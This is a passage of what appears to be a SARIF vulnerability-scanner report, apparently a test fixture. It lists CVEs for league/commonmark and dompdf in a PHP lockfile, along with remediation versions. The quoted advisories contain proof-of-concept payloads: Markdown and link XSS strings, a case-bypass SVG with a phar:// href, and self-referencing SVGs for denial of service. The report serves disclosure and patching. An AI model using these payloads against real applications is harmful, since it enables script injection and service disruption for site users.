HTML attributes](https://commonmark.thephpleague.com/2.7/extensions/attributes/#configuration)\n- Manually-added `href` and `src` attributes now respect the existing `allow_unsafe_links` configuration option\n\n### Workarounds\n\nIf upgrading is not feasible, please consider:\n\n- Disabling the `AttributesExtension` for untrusted users\n- [Filtering the rendered HTML through a library like HTMLPurifier](https://commonmark.thephpleague.com/security/#additional-filtering)"
582
+ },
583
+ "help": {
584
+ "markdown": "**Your dependency is vulnerable to [CVE-2025-46734](https://osv.dev/CVE-2025-46734)**.\n\n## [GHSA-3527-qv2q-pfvx](https://osv.dev/GHSA-3527-qv2q-pfvx)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e Cross-site scripting (XSS) vulnerability in the [Attributes extension](https://commonmark.thephpleague.com/extensions/attributes/) of the league/commonmark library (versions 1.5.0 through 2.6.x) allows remote attackers to insert malicious JavaScript calls into HTML.\n\u003e \n\u003e ### Details\n\u003e \n\u003e The league/commonmark library provides configuration options such as `html_input: 'strip'` and `allow_unsafe_links: false` to mitigate cross-site scripting (XSS) attacks by stripping raw HTML and disallowing unsafe links. However, when the Attributes Extension is enabled, it introduces a way for users to inject arbitrary HTML attributes into elements via Markdown syntax using curly braces.\n\u003e \n\u003e As a result, even with the secure configuration shown above, an attacker can inject dangerous attributes into applications using this extension via a payload such as:\n\u003e \n\u003e ```md\n\u003e ![](){onerror=alert(1)}\n\u003e ```\n\u003e \n\u003e Which results in the following HTML:\n\u003e \n\u003e ```html\n\u003e \u003cp\u003e\u003cimg onerror=\"alert(1)\" src=\"\" alt=\"\" /\u003e\u003c/p\u003e\n\u003e ```\n\u003e \n\u003e Which causes the JS to execute immediately on page load.\n\u003e \n\u003e ### Patches\n\u003e \n\u003e Version 2.7.0 contains three changes to prevent this XSS attack vector:\n\u003e \n\u003e - All attributes starting with `on` are considered unsafe and blocked by default\n\u003e - [Support for an explicit allowlist of allowed HTML attributes](https://commonmark.thephpleague.com/2.7/extensions/attributes/#configuration)\n\u003e - Manually-added `href` and `src` attributes now respect the existing `allow_unsafe_links` configuration option\n\u003e \n\u003e ### Workarounds\n\u003e \n\u003e If upgrading is not feasible, please consider:\n\u003e \n\u003e - Disabling the `AttributesExtension` for untrusted users\n\u003e - [Filtering the rendered HTML through a library like HTMLPurifier](https://commonmark.thephpleague.com/security/#additional-filtering)\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | league/commonmark | ad51c7cafb90e0bbd9f34b71d18d05994547e352 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3527-qv2q-pfvx | league/commonmark | 2.7.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2025-46734\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
585
+ "text": "**Your dependency is vulnerable to [CVE-2025-46734](https://osv.dev/CVE-2025-46734)**.\n\n## [GHSA-3527-qv2q-pfvx](https://osv.dev/GHSA-3527-qv2q-pfvx)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e Cross-site scripting (XSS) vulnerability in the [Attributes extension](https://commonmark.thephpleague.com/extensions/attributes/) of the league/commonmark library (versions 1.5.0 through 2.6.x) allows remote attackers to insert malicious JavaScript calls into HTML.\n\u003e \n\u003e ### Details\n\u003e \n\u003e The league/commonmark library provides configuration options such as `html_input: 'strip'` and `allow_unsafe_links: false` to mitigate cross-site scripting (XSS) attacks by stripping raw HTML and disallowing unsafe links. However, when the Attributes Extension is enabled, it introduces a way for users to inject arbitrary HTML attributes into elements via Markdown syntax using curly braces.\n\u003e \n\u003e As a result, even with the secure configuration shown above, an attacker can inject dangerous attributes into applications using this extension via a payload such as:\n\u003e \n\u003e ```md\n\u003e ![](){onerror=alert(1)}\n\u003e ```\n\u003e \n\u003e Which results in the following HTML:\n\u003e \n\u003e ```html\n\u003e \u003cp\u003e\u003cimg onerror=\"alert(1)\" src=\"\" alt=\"\" /\u003e\u003c/p\u003e\n\u003e ```\n\u003e \n\u003e Which causes the JS to execute immediately on page load.\n\u003e \n\u003e ### Patches\n\u003e \n\u003e Version 2.7.0 contains three changes to prevent this XSS attack vector:\n\u003e \n\u003e - All attributes starting with `on` are considered unsafe and blocked by default\n\u003e - [Support for an explicit allowlist of allowed HTML attributes](https://commonmark.thephpleague.com/2.7/extensions/attributes/#configuration)\n\u003e - Manually-added `href` and `src` attributes now respect the existing `allow_unsafe_links` configuration option\n\u003e \n\u003e ### Workarounds\n\u003e \n\u003e If upgrading is not feasible, please consider:\n\u003e \n\u003e - Disabling the `AttributesExtension` for untrusted users\n\u003e - [Filtering the rendered HTML through a library like HTMLPurifier](https://commonmark.thephpleague.com/security/#additional-filtering)\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | league/commonmark | ad51c7cafb90e0bbd9f34b71d18d05994547e352 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3527-qv2q-pfvx | league/commonmark | 2.7.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2025-46734\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
586
+ },
587
+ "id": "CVE-2025-46734",
588
+ "name": "CVE-2025-46734",
589
+ "properties": {
590
+ "security-severity": "6.4"
591
+ },
592
+ "relationships": [],
593
+ "shortDescription": {
594
+ "markdown": "CVE-2025-46734: league/commonmark contains a XSS vulnerability in Attributes extension",
595
+ "text": "CVE-2025-46734: league/commonmark contains a XSS vulnerability in Attributes extension"
596
+ }
597
+ },
598
+ {
599
+ "deprecatedIds": [
600
+ "CVE-2023-23924",
601
+ "GHSA-3cw5-7cxw-v5qg"
602
+ ],
603
+ "fullDescription": {
604
+ "markdown": "### Summary\nThe URI validation on dompdf 2.0.1 can be bypassed on SVG parsing by passing `\u003cimage\u003e` tags with uppercase letters. This might leads to arbitrary object unserialize on PHP \u003c 8, through the `phar` URL wrapper.\n\n### Details\nThe bug occurs during SVG parsing of `\u003cimage\u003e` tags, in src/Image/Cache.php : \n\n```\nif ($type === \"svg\") {\n $parser = xml_parser_create(\"utf-8\");\n xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);\n xml_set_element_handler(\n $parser,\n function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {\n if ($name === \"image\") {\n $attributes = array_change_key_case($attributes, CASE_LOWER);\n```\nThis part will try to detect `\u003cimage\u003e` tags in SVG, and will take the href to validate it against the protocolAllowed whitelist. However, the `$name comparison with \"image\" is case sensitive, which means that such a tag in the SVG will pass : \n\n```\n\u003csvg\u003e\n \u003cImage xlink:href=\"phar:///foo\"\u003e\u003c/Image\u003e\n\u003c/svg\u003e\n```\n\nAs the tag is named \"Image\" and not \"image\", it will not pass the condition to trigger the check.\n\nA correct solution would be to strtolower the `$name` before the check : \n\n```\nif (strtolower($name) === \"image\") {\n```\n\n### PoC\nParsing the following SVG file is sufficient to reproduce the vulnerability :\n\n```\n\u003csvg\u003e\n \u003cImage xlink:href=\"phar:///foo\"\u003e\u003c/Image\u003e\n\u003c/svg\u003e\n```\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can provide a SVG file to dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.\n",
605
+ "text": "### Summary\nThe URI validation on dompdf 2.0.1 can be bypassed on SVG parsing by passing `\u003cimage\u003e` tags with uppercase letters. This might leads to arbitrary object unserialize on PHP \u003c 8, through the `phar` URL wrapper.\n\n### Details\nThe bug occurs during SVG parsing of `\u003cimage\u003e` tags, in src/Image/Cache.php : \n\n```\nif ($type === \"svg\") {\n $parser = xml_parser_create(\"utf-8\");\n xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);\n xml_set_element_handler(\n $parser,\n function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {\n if ($name === \"image\") {\n $attributes = array_change_key_case($attributes, CASE_LOWER);\n```\nThis part will try to detect `\u003cimage\u003e` tags in SVG, and will take the href to validate it against the protocolAllowed whitelist. However, the `$name comparison with \"image\" is case sensitive, which means that such a tag in the SVG will pass : \n\n```\n\u003csvg\u003e\n \u003cImage xlink:href=\"phar:///foo\"\u003e\u003c/Image\u003e\n\u003c/svg\u003e\n```\n\nAs the tag is named \"Image\" and not \"image\", it will not pass the condition to trigger the check.\n\nA correct solution would be to strtolower the `$name` before the check : \n\n```\nif (strtolower($name) === \"image\") {\n```\n\n### PoC\nParsing the following SVG file is sufficient to reproduce the vulnerability :\n\n```\n\u003csvg\u003e\n \u003cImage xlink:href=\"phar:///foo\"\u003e\u003c/Image\u003e\n\u003c/svg\u003e\n```\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can provide a SVG file to dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.\n"
606
+ },
607
+ "help": {
608
+ "markdown": "**Your dependency is vulnerable to [CVE-2023-23924](https://osv.dev/CVE-2023-23924)**.\n\n## [GHSA-3cw5-7cxw-v5qg](https://osv.dev/GHSA-3cw5-7cxw-v5qg)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e The URI validation on dompdf 2.0.1 can be bypassed on SVG parsing by passing `\u003cimage\u003e` tags with uppercase letters. This might leads to arbitrary object unserialize on PHP \u003c 8, through the `phar` URL wrapper.\n\u003e \n\u003e ### Details\n\u003e The bug occurs during SVG parsing of `\u003cimage\u003e` tags, in src/Image/Cache.php : \n\u003e \n\u003e ```\n\u003e if ($type === \"svg\") {\n\u003e $parser = xml_parser_create(\"utf-8\");\n\u003e xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);\n\u003e xml_set_element_handler(\n\u003e $parser,\n\u003e function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {\n\u003e if ($name === \"image\") {\n\u003e $attributes = array_change_key_case($attributes, CASE_LOWER);\n\u003e ```\n\u003e This part will try to detect `\u003cimage\u003e` tags in SVG, and will take the href to validate it against the protocolAllowed whitelist. However, the `$name comparison with \"image\" is case sensitive, which means that such a tag in the SVG will pass : \n\u003e \n\u003e ```\n\u003e \u003csvg\u003e\n\u003e \u003cImage xlink:href=\"phar:///foo\"\u003e\u003c/Image\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e As the tag is named \"Image\" and not \"image\", it will not pass the condition to trigger the check.\n\u003e \n\u003e A correct solution would be to strtolower the `$name` before the check : \n\u003e \n\u003e ```\n\u003e if (strtolower($name) === \"image\") {\n\u003e ```\n\u003e \n\u003e ### PoC\n\u003e Parsing the following SVG file is sufficient to reproduce the vulnerability :\n\u003e \n\u003e ```\n\u003e \u003csvg\u003e\n\u003e \u003cImage xlink:href=\"phar:///foo\"\u003e\u003c/Image\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e ### Impact\n\u003e An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can provide a SVG file to dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.\n\u003e \n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3cw5-7cxw-v5qg | dompdf/dompdf | 2.0.2 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2023-23924\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
609
+ "text": "**Your dependency is vulnerable to [CVE-2023-23924](https://osv.dev/CVE-2023-23924)**.\n\n## [GHSA-3cw5-7cxw-v5qg](https://osv.dev/GHSA-3cw5-7cxw-v5qg)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e The URI validation on dompdf 2.0.1 can be bypassed on SVG parsing by passing `\u003cimage\u003e` tags with uppercase letters. This might leads to arbitrary object unserialize on PHP \u003c 8, through the `phar` URL wrapper.\n\u003e \n\u003e ### Details\n\u003e The bug occurs during SVG parsing of `\u003cimage\u003e` tags, in src/Image/Cache.php : \n\u003e \n\u003e ```\n\u003e if ($type === \"svg\") {\n\u003e $parser = xml_parser_create(\"utf-8\");\n\u003e xml_parser_set_option($parser, XML_OPTION_CASE_FOLDING, false);\n\u003e xml_set_element_handler(\n\u003e $parser,\n\u003e function ($parser, $name, $attributes) use ($options, $parsed_url, $full_url) {\n\u003e if ($name === \"image\") {\n\u003e $attributes = array_change_key_case($attributes, CASE_LOWER);\n\u003e ```\n\u003e This part will try to detect `\u003cimage\u003e` tags in SVG, and will take the href to validate it against the protocolAllowed whitelist. However, the `$name comparison with \"image\" is case sensitive, which means that such a tag in the SVG will pass : \n\u003e \n\u003e ```\n\u003e \u003csvg\u003e\n\u003e \u003cImage xlink:href=\"phar:///foo\"\u003e\u003c/Image\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e As the tag is named \"Image\" and not \"image\", it will not pass the condition to trigger the check.\n\u003e \n\u003e A correct solution would be to strtolower the `$name` before the check : \n\u003e \n\u003e ```\n\u003e if (strtolower($name) === \"image\") {\n\u003e ```\n\u003e \n\u003e ### PoC\n\u003e Parsing the following SVG file is sufficient to reproduce the vulnerability :\n\u003e \n\u003e ```\n\u003e \u003csvg\u003e\n\u003e \u003cImage xlink:href=\"phar:///foo\"\u003e\u003c/Image\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e ### Impact\n\u003e An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can provide a SVG file to dompdf. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.\n\u003e \n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3cw5-7cxw-v5qg | dompdf/dompdf | 2.0.2 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2023-23924\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
610
+ },
611
+ "id": "CVE-2023-23924",
612
+ "name": "CVE-2023-23924",
613
+ "properties": {
614
+ "security-severity": "10"
615
+ },
616
+ "relationships": [],
617
+ "shortDescription": {
618
+ "markdown": "CVE-2023-23924: Dompdf vulnerable to URI validation failure on SVG parsing",
619
+ "text": "CVE-2023-23924: Dompdf vulnerable to URI validation failure on SVG parsing"
620
+ }
621
+ },
622
+ {
623
+ "deprecatedIds": [
624
+ "CVE-2023-50262",
625
+ "GHSA-3qx2-6f78-w2j2"
626
+ ],
627
+ "fullDescription": {
628
+ "markdown": "### Summary\nWhen parsing SVG images Dompdf performs an initial validation to ensure that paths within the SVG are allowed. One of the validations is that the [SVG document does not reference itself](https://github.com/dompdf/dompdf/blob/v2.0.3/src/Image/Cache.php#L136-L153). However, a recursive chained using two or more SVG documents is not correctly validated. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\n### Details\nphp-svg-lib, when run in isolation, does not support SVG references for `image` elements. An SVG document can, however, be referenced and Dompdf will run that reference through the same validation. Dompdf currently includes validation to prevent self-referential `image` references, but a chained reference is not checked. A malicious actor may thus trigger infinite recursion in the validation process by chaining references between two or more SVG images.\n\n### PoC\n\nThis following sources can be used to bypass validation provided by Dompdf:\n\nrecurse.html\n```\n\u003cimg src=\"one.svg\"\u003e\n```\n\none.svg\n```\n\u003csvg width=\"200\" height=\"200\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cimage href=\"two.svg\" /\u003e\n\u003c/svg\u003e\n```\n\ntwo.svg\n```\n\u003csvg width=\"200\" height=\"200\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cimage href=\"one.svg\" /\u003e\n\u003c/svg\u003e\n```\n\n### Impact\n\nWhen Dompdf parses the above payload, it will crash due after exceeding the allowed execution time or memory usage. An attacker sending multiple request to a system can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.",
629
+ "text": "### Summary\nWhen parsing SVG images Dompdf performs an initial validation to ensure that paths within the SVG are allowed. One of the validations is that the [SVG document does not reference itself](https://github.com/dompdf/dompdf/blob/v2.0.3/src/Image/Cache.php#L136-L153). However, a recursive chained using two or more SVG documents is not correctly validated. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\n### Details\nphp-svg-lib, when run in isolation, does not support SVG references for `image` elements. An SVG document can, however, be referenced and Dompdf will run that reference through the same validation. Dompdf currently includes validation to prevent self-referential `image` references, but a chained reference is not checked. A malicious actor may thus trigger infinite recursion in the validation process by chaining references between two or more SVG images.\n\n### PoC\n\nThis following sources can be used to bypass validation provided by Dompdf:\n\nrecurse.html\n```\n\u003cimg src=\"one.svg\"\u003e\n```\n\none.svg\n```\n\u003csvg width=\"200\" height=\"200\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cimage href=\"two.svg\" /\u003e\n\u003c/svg\u003e\n```\n\ntwo.svg\n```\n\u003csvg width=\"200\" height=\"200\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cimage href=\"one.svg\" /\u003e\n\u003c/svg\u003e\n```\n\n### Impact\n\nWhen Dompdf parses the above payload, it will crash due after exceeding the allowed execution time or memory usage. An attacker sending multiple request to a system can potentially cause resource exhaustion to the point that the system is unable to handle incoming request."
630
+ },
631
+ "help": {
632
+ "markdown": "**Your dependency is vulnerable to [CVE-2023-50262](https://osv.dev/CVE-2023-50262)**.\n\n## [GHSA-3qx2-6f78-w2j2](https://osv.dev/GHSA-3qx2-6f78-w2j2)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e When parsing SVG images Dompdf performs an initial validation to ensure that paths within the SVG are allowed. One of the validations is that the [SVG document does not reference itself](https://github.com/dompdf/dompdf/blob/v2.0.3/src/Image/Cache.php#L136-L153). However, a recursive chained using two or more SVG documents is not correctly validated. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\u003e \n\u003e ### Details\n\u003e php-svg-lib, when run in isolation, does not support SVG references for `image` elements. An SVG document can, however, be referenced and Dompdf will run that reference through the same validation. Dompdf currently includes validation to prevent self-referential `image` references, but a chained reference is not checked. A malicious actor may thus trigger infinite recursion in the validation process by chaining references between two or more SVG images.\n\u003e \n\u003e ### PoC\n\u003e \n\u003e This following sources can be used to bypass validation provided by Dompdf:\n\u003e \n\u003e recurse.html\n\u003e ```\n\u003e \u003cimg src=\"one.svg\"\u003e\n\u003e ```\n\u003e \n\u003e one.svg\n\u003e ```\n\u003e \u003csvg width=\"200\" height=\"200\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n\u003e \u003cimage href=\"two.svg\" /\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e two.svg\n\u003e ```\n\u003e \u003csvg width=\"200\" height=\"200\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n\u003e \u003cimage href=\"one.svg\" /\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e ### Impact\n\u003e \n\u003e When Dompdf parses the above payload, it will crash due after exceeding the allowed execution time or memory usage. An attacker sending multiple request to a system can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3qx2-6f78-w2j2 | dompdf/dompdf | 2.0.4 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2023-50262\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
633
+ "text": "**Your dependency is vulnerable to [CVE-2023-50262](https://osv.dev/CVE-2023-50262)**.\n\n## [GHSA-3qx2-6f78-w2j2](https://osv.dev/GHSA-3qx2-6f78-w2j2)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ### Summary\n\u003e When parsing SVG images Dompdf performs an initial validation to ensure that paths within the SVG are allowed. One of the validations is that the [SVG document does not reference itself](https://github.com/dompdf/dompdf/blob/v2.0.3/src/Image/Cache.php#L136-L153). However, a recursive chained using two or more SVG documents is not correctly validated. Depending on the system configuration and attack pattern this could exhaust the memory available to the executing process and/or to the server itself.\n\u003e \n\u003e ### Details\n\u003e php-svg-lib, when run in isolation, does not support SVG references for `image` elements. An SVG document can, however, be referenced and Dompdf will run that reference through the same validation. Dompdf currently includes validation to prevent self-referential `image` references, but a chained reference is not checked. A malicious actor may thus trigger infinite recursion in the validation process by chaining references between two or more SVG images.\n\u003e \n\u003e ### PoC\n\u003e \n\u003e This following sources can be used to bypass validation provided by Dompdf:\n\u003e \n\u003e recurse.html\n\u003e ```\n\u003e \u003cimg src=\"one.svg\"\u003e\n\u003e ```\n\u003e \n\u003e one.svg\n\u003e ```\n\u003e \u003csvg width=\"200\" height=\"200\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n\u003e \u003cimage href=\"two.svg\" /\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e two.svg\n\u003e ```\n\u003e \u003csvg width=\"200\" height=\"200\" xmlns=\"http://www.w3.org/2000/svg\"\u003e\n\u003e \u003cimage href=\"one.svg\" /\u003e\n\u003e \u003c/svg\u003e\n\u003e ```\n\u003e \n\u003e ### Impact\n\u003e \n\u003e When Dompdf parses the above payload, it will crash due after exceeding the allowed execution time or memory usage. An attacker sending multiple request to a system can potentially cause resource exhaustion to the point that the system is unable to handle incoming request.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3qx2-6f78-w2j2 | dompdf/dompdf | 2.0.4 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2023-50262\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
634
+ },
635
+ "id": "CVE-2023-50262",
636
+ "name": "CVE-2023-50262",
637
+ "properties": {
638
+ "security-severity": "5.3"
639
+ },
640
+ "relationships": [],
641
+ "shortDescription": {
642
+ "markdown": "CVE-2023-50262: Denial of service caused by infinite recursion when parsing SVG images",
643
+ "text": "CVE-2023-50262: Denial of service caused by infinite recursion when parsing SVG images"
644
+ }
645
+ },
646
+ {
647
+ "deprecatedIds": [
648
+ "CVE-2019-10010",
649
+ "GHSA-3v43-877x-qgmq"
650
+ ],
651
+ "fullDescription": {
652
+ "markdown": "## CVE-2019-10010\n\n### Impact\n\nIn `league/commonmark` 0.18.2 and below, malicious users can insert double-encoded HTML entities into their Markdown like this:\n\n```md\n[XSS](javascript\u0026amp;colon;alert%28\u0026#039;XSS\u0026#039;%29)\n```\n\nThis library would (correctly) unescape the `\u0026amp;` entity to `\u0026` during the parsing step. However, **the renderer step would fail to properly re-escape the resulting `\u0026colon;` string**, thus producing the following malicious HTML output:\n\n```html\n\u003cp\u003e\u003ca href=\"javascript\u0026colon;alert('XSS')\"\u003eXSS\u003c/a\u003e\u003c/p\u003e\n```\n\nBrowsers would interpret `\u0026colon;` as a `:` character and allow the JS to be executed when the link is clicked.\n\nThis vulnerability was present in the upstream library this project was forked from and therefore exists in all prior versions of `league/commonmark`.\n\n### Solution\n\nThe new [0.18.3](https://github.com/thephpleague/commonmark/releases/tag/0.18.3) release mirrors [the fix made upstream](https://github.com/commonmark/commonmark.js/commit/c89b35c5fc99bdf1d2181f7f0c9fcb8a1abc27c8) - we no longer attempt to preserve entities when rendering HTML attributes like `href`, `src`, `title`, etc.\n\nThe `$preserveEntities` parameter of `Xml::escape()` is therefore no longer used internally, so it has been deprecated and marked for removal in the next major release (0.19.0).\n\n### Credits\n\n - Mohit Fawaz for identifying the issue\n - Sebastiaan Knijnenburg and Ross Tuck for responsibly disclosing/relaying the issue\n - John MacFarlane for investigating it and implementing the upstream fix we mirrored here\n\n### References\n\n - https://nvd.nist.gov/vuln/detail/CVE-2019-10010\n - https://github.com/thephpleague/commonmark/releases/tag/0.18.3\n - https://github.com/thephpleague/commonmark/issues/353\n- https://github.com/FriendsOfPHP/security-advisories/blob/master/league/commonmark/CVE-2019-10010.yaml",
653
+ "text": "## CVE-2019-10010\n\n### Impact\n\nIn `league/commonmark` 0.18.2 and below, malicious users can insert double-encoded HTML entities into their Markdown like this:\n\n```md\n[XSS](javascript\u0026amp;colon;alert%28\u0026#039;XSS\u0026#039;%29)\n```\n\nThis library would (correctly) unescape the `\u0026amp;` entity to `\u0026` during the parsing step. However, **the renderer step would fail to properly re-escape the resulting `\u0026colon;` string**, thus producing the following malicious HTML output:\n\n```html\n\u003cp\u003e\u003ca href=\"javascript\u0026colon;alert('XSS')\"\u003eXSS\u003c/a\u003e\u003c/p\u003e\n```\n\nBrowsers would interpret `\u0026colon;` as a `:` character and allow the JS to be executed when the link is clicked.\n\nThis vulnerability was present in the upstream library this project was forked from and therefore exists in all prior versions of `league/commonmark`.\n\n### Solution\n\nThe new [0.18.3](https://github.com/thephpleague/commonmark/releases/tag/0.18.3) release mirrors [the fix made upstream](https://github.com/commonmark/commonmark.js/commit/c89b35c5fc99bdf1d2181f7f0c9fcb8a1abc27c8) - we no longer attempt to preserve entities when rendering HTML attributes like `href`, `src`, `title`, etc.\n\nThe `$preserveEntities` parameter of `Xml::escape()` is therefore no longer used internally, so it has been deprecated and marked for removal in the next major release (0.19.0).\n\n### Credits\n\n - Mohit Fawaz for identifying the issue\n - Sebastiaan Knijnenburg and Ross Tuck for responsibly disclosing/relaying the issue\n - John MacFarlane for investigating it and implementing the upstream fix we mirrored here\n\n### References\n\n - https://nvd.nist.gov/vuln/detail/CVE-2019-10010\n - 